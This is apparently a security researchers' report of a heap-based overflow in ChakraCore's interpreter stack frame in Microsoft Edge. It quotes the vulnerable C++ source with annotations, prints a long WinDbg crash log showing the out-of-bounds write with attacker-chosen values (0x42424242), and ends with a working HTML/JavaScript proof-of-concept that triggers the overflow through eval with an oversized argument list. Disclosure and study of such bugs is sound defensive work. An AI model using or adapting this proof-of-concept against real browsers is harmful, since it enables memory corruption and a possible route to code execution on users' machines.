1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 |
<!-- Report by Huang Anwen, He Xiaoxiao of ichunqiu Ker Team This is the HEAP BASED OVERFLOW version of the issue. // ChakraCore-master\lib\Runtime\Language\InterpreterStackFrame.cpp Var InterpreterStackFrame::InterpreterHelper(ScriptFunction* function, ArgumentReader args, void* returnAddress, void* addressOfReturnAddress, const bool isAsmJs) { [...] if (!isAsmJs && executeFunction->IsCoroutine()) { [...] } else { InterpreterStackFrame::Setup setup(function, args); size_t varAllocCount = setup.GetAllocationVarCount(); //printf("varAllocCount: %d(%X)\r\n", varAllocCount, varAllocCount); size_t varSizeInBytes = varAllocCount * sizeof(Var); // // Allocate a new InterpreterStackFrame instance on the interpreter's virtual stack. // DWORD_PTR stackAddr; // If the locals area exceeds a certain limit, allocate it from a private arena rather than // this frame. The current limit is based on an old assert on the number of locals we would allow here. if (varAllocCount > InterpreterStackFrame::LocalsThreshold) //we can make this condition satisfied so the buffer will be allocated on the heap instead of the stack!!! { ArenaAllocator *tmpAlloc = nullptr; fReleaseAlloc = functionScriptContext->EnsureInterpreterArena(&tmpAlloc); allocation = (Var*)tmpAlloc->Alloc(varSizeInBytes); stackAddr = reinterpret_cast<DWORD_PTR>(&allocation); // use a stack address so the debugger stepping logic works (step-out, for example, compares stack depths to determine when to complete the step) } else { PROBE_STACK_PARTIAL_INITIALIZED_INTERPRETER_FRAME(functionScriptContext, Js::Constants::MinStackInterpreter + varSizeInBytes); allocation = (Var*)_alloca(varSizeInBytes); #if DBG memset(allocation, 0xFE, varSizeInBytes); #endif stackAddr = reinterpret_cast<DWORD_PTR>(allocation); } [...] return aReturn; } Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path is: SRV*c:\mysymbol* http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 00007ff7<code>49700000 00007ff7</code>49725000 C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe ModLoad: 00007ffa<code>13700000 00007ffa</code>138db000 C:\Windows\SYSTEM32\ntdll.dll ModLoad: 00007ffa<code>119f0000 00007ffa</code>11a9e000 C:\Windows\System32\KERNEL32.DLL ModLoad: 00007ffa<code>0fd90000 00007ffa</code>0ffd9000 C:\Windows\System32\KERNELBASE.dll ModLoad: 00007ffa<code>0e140000 00007ffa</code>0e1be000 C:\Windows\SYSTEM32\apphelp.dll ModLoad: 00007ffa<code>11b80000 00007ffa</code>11e79000 C:\Windows\System32\combase.dll ModLoad: 00007ffa<code>103f0000 00007ffa</code>104e6000 C:\Windows\System32\ucrtbase.dll ModLoad: 00007ffa<code>11160000 00007ffa</code>11285000 C:\Windows\System32\RPCRT4.dll ModLoad: 00007ffa<code>104f0000 00007ffa</code>1055a000 C:\Windows\System32\bcryptPrimitives.dll ModLoad: 00007ffa<code>11630000 00007ffa</code>116cd000 C:\Windows\System32\msvcrt.dll ModLoad: 00007ffa<code>0a400000 00007ffa</code>0a460000 C:\Windows\SYSTEM32\wincorlib.DLL ModLoad: 00007ffa<code>10c90000 00007ffa</code>10d50000 C:\Windows\System32\OLEAUT32.dll ModLoad: 00007ffa<code>0fcd0000 00007ffa</code>0fd6a000 C:\Windows\System32\msvcp_win.dll ModLoad: 00007ffa<code>0fc00000 00007ffa</code>0fc11000 C:\Windows\System32\kernel.appcore.dll ModLoad: 00007ff9<code>f3680000 00007ff9</code>f3a44000 C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\EdgeContent.dll ModLoad: 00007ffa<code>10560000 00007ffa</code>10c52000 C:\Windows\System32\Windows.Storage.dll ModLoad: 00007ffa<code>11940000 00007ffa</code>119e1000 C:\Windows\System32\advapi32.dll ModLoad: 00007ffa<code>11b20000 00007ffa</code>11b79000 C:\Windows\System32\sechost.dll ModLoad: 00007ffa<code>113e0000 00007ffa</code>11431000 C:\Windows\System32\shlwapi.dll ModLoad: 00007ffa<code>10c60000 00007ffa</code>10c87000 C:\Windows\System32\GDI32.dll ModLoad: 00007ffa<code>10200000 00007ffa</code>10388000 C:\Windows\System32\gdi32full.dll ModLoad: 00007ffa<code>10d60000 00007ffa</code>10eaa000 C:\Windows\System32\USER32.dll ModLoad: 00007ffa<code>0fd70000 00007ffa</code>0fd8e000 C:\Windows\System32\win32u.dll ModLoad: 00007ffa<code>11790000 00007ffa</code>1183a000 C:\Windows\System32\shcore.dll ModLoad: 00007ffa<code>0fb70000 00007ffa</code>0fbbc000 C:\Windows\System32\powrprof.dll ModLoad: 00007ffa<code>0fbc0000 00007ffa</code>0fbd5000 C:\Windows\System32\profapi.dll ModLoad: 00007ffa<code>08380000 00007ffa</code>08606000 C:\Windows\SYSTEM32\iertutil.dll ModLoad: 00007ffa<code>0ee70000 00007ffa</code>0eea1000 C:\Windows\SYSTEM32\ntmarta.dll ModLoad: 00007ffa<code>0fa70000 00007ffa</code>0fa99000 C:\Windows\SYSTEM32\USERENV.dll ModLoad: 00007ff9<code>ff7d0000 00007ff9</code>ff7f6000 C:\Windows\SYSTEM32\clipc.dll ModLoad: 00007ffa<code>0f200000 00007ffa</code>0f2a4000 C:\Windows\SYSTEM32\DNSAPI.dll ModLoad: 00007ffa<code>0f5c0000 00007ffa</code>0f5d7000 C:\Windows\SYSTEM32\cryptsp.dll ModLoad: 00007ffa<code>115b0000 00007ffa</code>1161c000 C:\Windows\System32\WS2_32.dll ModLoad: 00007ffa<code>10d50000 00007ffa</code>10d58000 C:\Windows\System32\NSI.dll ModLoad: 00007ffa<code>11730000 00007ffa</code>1175d000 C:\Windows\System32\IMM32.DLL ModLoad: 00007ffa<code>0f1c0000 00007ffa</code>0f1f7000 C:\Windows\SYSTEM32\IPHLPAPI.DLL ModLoad: 00007ffa<code>0e540000 00007ffa</code>0e6b0000 C:\Windows\SYSTEM32\twinapi.appcore.dll ModLoad: 00007ffa<code>0fa40000 00007ffa</code>0fa65000 C:\Windows\SYSTEM32\bcrypt.dll ModLoad: 00007ffa<code>0eca0000 00007ffa</code>0ecc1000 C:\Windows\SYSTEM32\profext.dll ModLoad: 00007ff9<code>ff580000 00007ff9</code>ff5f4000 C:\Windows\SYSTEM32\msiso.dll ModLoad: 00007ffa<code>054d0000 00007ffa</code>054f2000 C:\Windows\SYSTEM32\EShims.dll ModLoad: 00007ffa<code>045d0000 00007ffa</code>045eb000 C:\Windows\SYSTEM32\MPR.dll ModLoad: 00007ffa<code>11290000 00007ffa</code>113d5000 C:\Windows\System32\ole32.dll ModLoad: 00007ffa<code>0e370000 00007ffa</code>0e405000 C:\Windows\system32\uxtheme.dll ModLoad: 00007ff9<code>f1650000 00007ff9</code>f2d01000 C:\Windows\SYSTEM32\edgehtml.dll ModLoad: 00007ffa<code>0c190000 00007ffa</code>0c2c9000 C:\Windows\SYSTEM32\wintypes.dll ModLoad: 00007ff9<code>f0e60000 00007ff9</code>f164b000 C:\Windows\SYSTEM32\chakra.dll ModLoad: 00007ffa<code>04630000 00007ffa</code>0466f000 C:\Windows\SYSTEM32\MLANG.dll ModLoad: 00007ffa<code>0c840000 00007ffa</code>0c8b6000 C:\Windows\SYSTEM32\policymanager.dll ModLoad: 00007ffa<code>0c6f0000 00007ffa</code>0c77f000 C:\Windows\SYSTEM32\msvcp110_win.dll ModLoad: 00007ffa<code>0cb10000 00007ffa</code>0cca6000 C:\Windows\SYSTEM32\PROPSYS.dll ModLoad: 00007ffa<code>04d30000 00007ffa</code>04dfb000 C:\Windows\System32\ieproxy.dll ModLoad: 00007ffa<code>09f90000 00007ffa</code>0a096000 C:\Windows\System32\Windows.UI.dll ModLoad: 00007ffa<code>0a230000 00007ffa</code>0a2b2000 C:\Windows\SYSTEM32\TextInputFramework.dll ModLoad: 00007ffa<code>0b640000 00007ffa</code>0b912000 C:\Windows\SYSTEM32\CoreUIComponents.dll ModLoad: 00007ffa<code>0da10000 00007ffa</code>0daf3000 C:\Windows\SYSTEM32\CoreMessaging.dll ModLoad: 00007ffa<code>0c6d0000 00007ffa</code>0c6e5000 C:\Windows\SYSTEM32\usermgrcli.dll ModLoad: 00007ffa<code>0abe0000 00007ffa</code>0b111000 C:\Windows\System32\OneCoreUAPCommonProxyStub.dll ModLoad: 00007ffa<code>11e80000 00007ffa</code>132b7000 C:\Windows\System32\shell32.dll ModLoad: 00007ffa<code>101b0000 00007ffa</code>101f9000 C:\Windows\System32\cfgmgr32.dll ModLoad: 00007ffa<code>0ccb0000 00007ffa</code>0ccda000 C:\Windows\SYSTEM32\dwmapi.dll ModLoad: 00007ff9<code>ff8e0000 00007ff9</code>ffc0e000 C:\Windows\SYSTEM32\WININET.dll ModLoad: 00007ffa<code>0faa0000 00007ffa</code>0fad0000 C:\Windows\SYSTEM32\SspiCli.dll ModLoad: 00007ffa<code>11440000 00007ffa</code>115a6000 C:\Windows\System32\msctf.dll ModLoad: 00007ffa<code>0a0a0000 00007ffa</code>0a1a2000 C:\Windows\SYSTEM32\mrmcorer.dll ModLoad: 00007ff9<code>fddf0000 00007ff9</code>fde00000 C:\Windows\SYSTEM32\tokenbinding.dll ModLoad: 00007ffa<code>00260000 00007ffa</code>0027b000 C:\Windows\SYSTEM32\ondemandconnroutehelper.dll ModLoad: 00007ffa<code>0a370000 00007ffa</code>0a3d9000 C:\Windows\SYSTEM32\Bcp47Langs.dll ModLoad: 00007ffa<code>07430000 00007ffa</code>07507000 C:\Windows\SYSTEM32\winhttp.dll ModLoad: 00007ffa<code>0f420000 00007ffa</code>0f47c000 C:\Windows\system32\mswsock.dll ModLoad: 00007ffa<code>0a730000 00007ffa</code>0a73b000 C:\Windows\SYSTEM32\WINNSI.DLL ModLoad: 00007ffa<code>07260000 00007ffa</code>07428000 C:\Windows\SYSTEM32\urlmon.dll ModLoad: 00007ffa<code>0f5e0000 00007ffa</code>0f5eb000 C:\Windows\SYSTEM32\CRYPTBASE.DLL ModLoad: 00007ff9<code>fe760000 00007ff9</code>fe77a000 C:\Windows\System32\Windows.Shell.ServiceHostBuilder.dll ModLoad: 00007ff9<code>f3a50000 00007ff9</code>f3bda000 C:\Windows\SYSTEM32\ieapfltr.dll ModLoad: 00007ffa<code>0e1d0000 00007ffa</code>0e1ed000 C:\Windows\System32\rmclient.dll ModLoad: 00007ff9<code>fd750000 00007ff9</code>fd768000 C:\Windows\System32\UiaManager.dll ModLoad: 00007ff9<code>fb720000 00007ff9</code>fb767000 C:\Windows\system32\dataexchange.dll ModLoad: 00007ffa<code>0d180000 00007ffa</code>0d45f000 C:\Windows\SYSTEM32\d3d11.dll ModLoad: 00007ffa<code>0db30000 00007ffa</code>0dc52000 C:\Windows\SYSTEM32\dcomp.dll ModLoad: 00007ffa<code>0e9e0000 00007ffa</code>0ea84000 C:\Windows\SYSTEM32\dxgi.dll ModLoad: 00007ff9<code>fc470000 00007ff9</code>fc4f2000 C:\Windows\system32\twinapi.dll ModLoad: 00007ffa<code>060c0000 00007ffa</code>060e8000 C:\Windows\SYSTEM32\srpapi.dll ModLoad: 00007ffa<code>0ffe0000 00007ffa</code>101a9000 C:\Windows\System32\CRYPT32.dll ModLoad: 00007ffa<code>0fbe0000 00007ffa</code>0fbf1000 C:\Windows\System32\MSASN1.dll ModLoad: 00007ff9<code>f8480000 00007ff9</code>f84fa000 C:\Windows\SYSTEM32\windows.ui.core.textinput.dll ModLoad: 00007ff9<code>ff120000 00007ff9</code>ff17d000 C:\Windows\SYSTEM32\ninput.dll ModLoad: 00007ffa<code>0d460000 00007ffa</code>0da04000 C:\Windows\SYSTEM32\d2d1.dll ModLoad: 00007ffa<code>06cf0000 00007ffa</code>06faf000 C:\Windows\SYSTEM32\DWrite.dll ModLoad: 00007ff9<code>f8060000 00007ff9</code>f80ba000 C:\Windows\System32\Windows.Graphics.dll ModLoad: 00007ffa<code>06950000 00007ffa</code>0695f000 C:\Windows\System32\Windows.Internal.SecurityMitigationsBroker.dll ModLoad: 00007ffa<code>0b1c0000 00007ffa</code>0b202000 C:\Windows\SYSTEM32\vm3dum64.dll ModLoad: 00007ffa<code>0b150000 00007ffa</code>0b1b7000 C:\Windows\SYSTEM32\D3D10Level9.dll ModLoad: 00007ff9<code>fbc20000 00007ff9</code>fbc8b000 C:\Windows\System32\oleacc.dll ModLoad: 00007ffa<code>06480000 00007ffa</code>06490000 C:\Windows\system32\msimtf.dll ModLoad: 00007ffa<code>06ab0000 00007ffa</code>06b38000 C:\Windows\system32\directmanipulation.dll ModLoad: 00007ff9<code>fe370000 00007ff9</code>fe411000 C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll ModLoad: 00007ffa<code>06760000 00007ffa</code>06774000 C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll ModLoad: 00007ffa<code>05a10000 00007ffa</code>05a48000 C:\Windows\System32\smartscreenps.dll ModLoad: 00007ffa<code>06b40000 00007ffa</code>06cc8000 C:\Windows\SYSTEM32\windows.globalization.dll (11fc.108c): Access violation - code c0000005 (!!! second chance !!!) chakra!Js::InterpreterStackFrame::ProcessUnprofiledLargeLayoutPrefix+0xd5d: 00007ff9<code>f124bcad 488904d1mov qword ptr [rcx+rdx*8],rax ds:0000015e</code>3d550000=???????????????? 0:016> r rax=0001000042424242 rbx=000000388f1fb8b0 rcx=0000015e3d5401b0 rdx=0000000000001fca rsi=0000000000000002 rdi=000000388f1fb3c0 rip=00007ff9f124bcad rsp=000000388f1fbae0 rbp=000000388f1fbb10 r8=0000015e3d500030r9=0000015e2c538000 r10=000000388f1fb918 r11=0000015e2c53c000 r12=0000000000000000 r13=0000015e2932a120 r14=0000000000000000 r15=0000015e4063f9b3 iopl=0 nv up ei pl nz ac pe nc cs=0033ss=002bds=002bes=002bfs=0053gs=002b efl=00010210 chakra!Js::InterpreterStackFrame::ProcessUnprofiledLargeLayoutPrefix+0xd5d: 00007ff9<code>f124bcad 488904d1mov qword ptr [rcx+rdx*8],rax ds:0000015e</code>3d550000=???????????????? 0:016> dq ecx 0000015e<code>3d5401b000000000</code>00000000 00010000<code>42424242 0000015e</code>3d5401c000010000<code>42424242 00010000</code>42424242 0000015e<code>3d5401d000010000</code>42424242 00010000<code>42424242 0000015e</code>3d5401e000010000<code>42424242 00010000</code>42424242 0000015e<code>3d5401f000010000</code>42424242 00010000<code>42424242 0000015e</code>3d54020000010000<code>42424242 00010000</code>42424242 0000015e<code>3d54021000010000</code>42424242 00010000<code>42424242 0000015e</code>3d54022000010000<code>42424242 00010000</code>42424242 0:016> dq [ecx+edx*8] 0000015e<code>3d550000????????</code>???????? ????????<code>???????? 0000015e</code>3d550010????????<code>???????? ????????</code>???????? 0000015e<code>3d550020????????</code>???????? ????????<code>???????? 0000015e</code>3d550030????????<code>???????? ????????</code>???????? 0000015e<code>3d550040????????</code>???????? ????????<code>???????? 0000015e</code>3d550050????????<code>???????? ????????</code>???????? 0000015e<code>3d550060????????</code>???????? ????????<code>???????? 0000015e</code>3d550070????????<code>???????? ????????</code>???????? 0:016> !address ecx Failed to map Heaps (error 8007001e) Usage:<unclassified> Allocation Base:0000015e<code>3d500000 Base Address: 0000015e</code>3d500000 End Address:0000015e<code>3d550000 Region Size:00000000</code>00050000 Type: 00020000 MEM_PRIVATE State:00001000 MEM_COMMIT Protect:00000004 PAGE_READWRITE 0:016> !address 0000015e<code>3d550000 Usage:Free Base Address: 0000015e</code>3d550000 End Address:0000015e<code>3d7f0000 Region Size:00000000</code>002a0000 Type: 00000000 State:00010000 MEM_FREE Protect:00000001 PAGE_NOACCESS 0:016> kb RetAddr : Args to Child : Call Site 00007ff9<code>f10fe96d : 0000015e</code>3d500030 0000015e<code>4063f9ac 00000038</code>8f1fbb70 0000015e<code>4063f9ac : chakra!Js::InterpreterStackFrame::ProcessUnprofiledLargeLayoutPrefix+0xd5d 00007ff9</code>f0f5ffb1 : 0000015e<code>3d500030 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x19e8fd 00007ff9<code>f0ff80cc : 0000015e</code>3d500030 0000015e<code>3c7a01a0 00000038</code>8f1fbc30 00007ff9<code>f0ebc500 : chakra!Js::InterpreterStackFrame::Process+0x1b1 00007ff9</code>f0ff7be1 : 0000015e<code>2c560600 00000038</code>8f1fbe10 0000015e<code>3c7e0fba 00000038</code>8f1fbe28 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4ac 0000015e<code>3c7e0fba : 00000038</code>8f1fbe60 0000015e<code>2c560600 ffffffff</code>fffffffe 00007ff9<code>f10d6750 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x51 00007ff9</code>f0e783df : 0000015e<code>2c560600 00000000</code>04000001 0000015e<code>2c550020 00000038</code>8f1fbef0 : 0x15e<code>3c7e0fba 00007ff9</code>f0e7816a : 0000015e<code>3c7a01a0 0000015e</code>2c560600 00007ff9<code>f15a9f80 00000038</code>8f1fbef0 : chakra!Js::GlobalObject::ExecuteEvalParsedFunction+0x77 00007ff9<code>f0e77fb8 : 0000015e</code>2c540000 00007ff9<code>f15a9f80 0000015e</code>00000000 0000015e<code>2c53c000 : chakra!Js::GlobalObject::VEval+0x19a 00007ff9</code>f0e77ecd : 00000038<code>8f1fc040 0000015e</code>2c53b5c0 0000015e<code>2932a120 00000038</code>8f1fc000 : chakra!Js::GlobalObject::EntryEvalHelper+0xc8 00007ff9<code>f10d6be3 : 0000015e</code>2c53b5c0 00000000<code>18000003 0000015e</code>2c550020 0000015e<code>2c54d770 : chakra!Js::GlobalObject::EntryEval+0x7d 00007ff9</code>f0fc6bf3 : 0000015e<code>2932a120 00000000</code>00000018 00000038<code>8f1fc0e8 0000015e</code>2c53c000 : chakra!amd64_CallFunction+0x93 00007ff9<code>f0e871ac : 0000015e</code>2c53b5c0 00007ff9<code>f0e77e50 00000038</code>8f1fc110 00000038<code>8f1fc2a0 : chakra!Js::JavascriptFunction::CallFunction<1>+0x83 00007ff9</code>f0e877b4 : 00000038<code>8f1fc2a0 0000015e</code>3c7c0116 0000015e<code>2c53b5c0 00007ff9</code>00000008 : chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIExtendedFlags<Js::LayoutSizePolicy<0> > > >+0x114 00007ff9<code>f0f64920 : 00000038</code>8f1fc2a0 0000015e<code>3c7c0116 0000015e</code>8f1fc2a0 0000015e<code>3c7c0124 : chakra!Js::InterpreterStackFrame::OP_ProfiledReturnTypeCallIExtendedFlags<Js::OpLayoutT_CallIExtendedFlags<Js::LayoutSizePolicy<0> > >+0x5c 00007ff9</code>f0f5ff2c : 00000038<code>8f1fc2a0 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 : chakra!Js::InterpreterStackFrame::ProcessProfiled+0x1250 00007ff9<code>f0ff80cc : 00000038</code>8f1fc2a0 0000015e<code>3c7a0000 00000038</code>8f1fc4a0 00000000<code>00000001 : chakra!Js::InterpreterStackFrame::Process+0x12c 00007ff9</code>f0ff7be1 : 0000015e<code>2c560480 00000038</code>8f1fc680 0000015e<code>3c7e0fc2 00000038</code>8f1fc698 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4ac 0000015e<code>3c7e0fc2 : 00000038</code>8f1fc6d0 00000000<code>00000000 00000000</code>00000000 00007ff9<code>f10d6750 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x51 00007ff9</code>f10d6be3 : 0000015e<code>2c560480 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 : 0x15e<code>3c7e0fc2 00007ff9</code>f0fc6bf3 : 0000015e<code>2932a120 00000000</code>00000000 0000015e<code>29352a10 00007ff9</code>f0fda837 : chakra!amd64_CallFunction+0x93 00007ff9<code>f0ff1810 : 0000015e</code>2c560480 00007ff9<code>f10d6df0 00000038</code>8f1fc7d0 0000015e<code>2932d110 : chakra!Js::JavascriptFunction::CallFunction<1>+0x83 00007ff9</code>f0ff0a37 : 0000015e<code>2c560480 00000038</code>8f1fc8c0 0000015e<code>2932d110 00007ffa</code>11697100 : chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x100 00007ff9<code>f10b907e : 0000015e</code>2c560480 00000038<code>8f1fc920 0000015e</code>2932d110 0000015e<code>2932da00 : chakra!Js::JavascriptFunction::CallRootFunction+0x4b 00007ff9</code>f101cd54 : 0000015e<code>2c560480 00000038</code>8f1fc960 00000000<code>00000000 00000038</code>8f1fc978 : chakra!ScriptSite::CallRootFunction+0x6a 00007ff9<code>f0fb1b49 : 0000015e</code>2932d000 0000015e<code>2c560480 00000038</code>8f1fca10 00000000<code>00000000 : chakra!ScriptSite::Execute+0x124 00007ff9</code>f0fb2e8e : 0000015e<code>29329cd0 00000038</code>8f1fcf18 00000038<code>8f1fcf50 00000038</code>80000082 : chakra!ScriptEngine::ExecutePendingScripts+0x1a5 00007ff9<code>f0fb3121 : 0000015e</code>29329cd0 0000015e<code>29ce82e4 00000000</code>00000000 00000156<code>270b4330 : chakra!ScriptEngine::ParseScriptTextCore+0x436 00007ff9</code>f1a53c75 : 0000015e<code>29329d20 0000015e</code>29ce82e4 00000156<code>000000f1 00000000</code>00000000 : chakra!ScriptEngine::ParseScriptText+0xb1 00007ff9<code>f1a53abe : 00000000</code>00000000 00000038<code>8f1fcde9 00000156</code>270b4260 00000156<code>00000000 : edgehtml!CJScript9Holder::ParseScriptText+0x119 00007ff9</code>f1a535d7 : 00000000<code>00000000 00000156</code>270b4260 00000156<code>2703c1c0 00000156</code>270b41b0 : edgehtml!CScriptCollection::ParseScriptText+0x202 00007ff9<code>f1a52f07 : 00000156</code>27050c01 00000156<code>270ac100 00000156</code>00000082 00007ff9<code>00000000 : edgehtml!CScriptData::CommitCode+0x357 00007ff9</code>f1b12f8d : 00000000<code>ffffffff 00000156</code>2703c460 00000000<code>ffffffff 00000000</code>00000000 : edgehtml!CScriptData::Execute+0x20f 00007ff9<code>f19543d4 : 00000000</code>00000000 00000156<code>2708c440 00000000</code>00000001 00007ff9<code>f1b0ceb9 : edgehtml!CHtmScriptParseCtx::Execute+0x7d 00007ff9</code>f19534a1 : 00000156<code>27050c00 00000000</code>00000000 00000156<code>27050c00 00000156</code>2702c8c0 : edgehtml!CHtmParseBase::Execute+0x204 00007ff9<code>f1b0d23b : 00000000</code>00026e8b 00000156<code>27020000 00000156</code>270800b0 00000156<code>2702c8c0 : edgehtml!CHtmPost::Exec+0x1e1 00007ff9</code>f1b0d11f : 00000156<code>2702c8c0 00000000</code>00026e8b 0000015e<code>29ce82e0 00000000</code>00000000 : edgehtml!CHtmPost::Run+0x2f 00007ff9<code>f1b0cfd3 : 00000156</code>27020000 00000000<code>09806f01 00000000</code>00000002 00000156<code>27061680 : edgehtml!PostManExecute+0x63 00007ff9</code>f1b0ce6d : 00000156<code>2702c8c0 00000000</code>09806ff9 0000015e<code>00000000 00007ffa</code>083a4779 : edgehtml!PostManResume+0xa3 00007ff9<code>f1b1b353 : 00000156</code>27048600 0000015e<code>29c26b50 00000000</code>00000000 00000000<code>00000000 : edgehtml!CHtmPost::OnDwnChanCallback+0x3d 00007ff9</code>f1af50db : 00000156<code>270282d0 0000015e</code>29325463 0000015e<code>29302200 00000038</code>8f1fd4a0 : edgehtml!CDwnChan::OnMethodCall+0x23 00007ff9<code>f1981706 : 0000015e</code>29302728 00000156<code>27061680 0000015e</code>29302260 00000038<code>8f1fd4d0 : edgehtml!GWndAsyncTask::Run+0x1b 00007ff9</code>f1aca860 : 00000000<code>16389c44 00000156</code>270616e0 00000156<code>270800b0 00007ff9</code>f1a29138 : edgehtml!HTML5TaskScheduler::RunReadiedTask+0x236 00007ff9<code>f1aca683 : 0000015e</code>29c26b50 00000000<code>00000000 00000000</code>00000002 00000156<code>27028170 : edgehtml!TaskSchedulerBase::RunReadiedTasksInTaskQueueWithCallback+0x70 00007ff9</code>f19822b3 : 00000038<code>8f1fd980 00000000</code>00008002 00000156<code>27028170 00007ffa</code>10d847df : edgehtml!HTML5TaskScheduler::RunReadiedTasks+0xa3 00007ff9<code>f19807a5 : 00000000</code>00008002 00000156<code>27020000 00000156</code>00000000 00000000<code>00000002 : edgehtml!NormalPriorityAtInputEventLoopDriver::DriveRegularPriorityTaskExecution+0x53 00007ffa</code>10d6bc50 : 00000000<code>00e80380 00000000</code>00000001 00000000<code>00000002 00000000</code>80000012 : edgehtml!GlobalWndProc+0x125 00007ffa<code>10d6b5cf : 00000156</code>276d4470 00007ff9<code>f1980680 00000000</code>00e80380 00000000<code>00e80380 : USER32!UserCallWinProcCheckWow+0x280 00007ff9</code>f3686d0e : 00000038<code>8f1fd920 00000000</code>00000000 00000156<code>26f58170 00000000</code>00000000 : USER32!DispatchMessageWorker+0x19f 00007ff9<code>f369eecb : 00000000</code>00000000 00000000<code>00000001 00000156</code>27229e70 00000156<code>26fd40f0 : EdgeContent!CBrowserTab::_TabWindowThreadProc+0x3ee 00007ff9</code>ff58b4a8 : 00000000<code>00000000 00000156</code>27228f80 00000000<code>00000000 00000000</code>00000000 : EdgeContent!LCIETab_ThreadProc+0x2ab 00007ffa<code>11a02774 : 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 : msiso!_IsoThreadProc_WrapperToReleaseScope+0x48 00007ffa</code>13770d61 : 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 : KERNEL32!BaseThreadInitThunk+0x14 00000000<code>00000000 : 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21 --> <html> <head> <title> POC </title> </head> <script> var a=[]; a.length=0xffff-1; a.fill('0x42424242'); var s='{'; for(var i=0; i<0x8000-1; i++){ s+= 'a'+i+':0,' }; s+= 'b:0'; s+= '}'; var c='function Car(){}; var car=new Car(' + a.join() + ',' + s + ')'; eval(c); </script> </html> |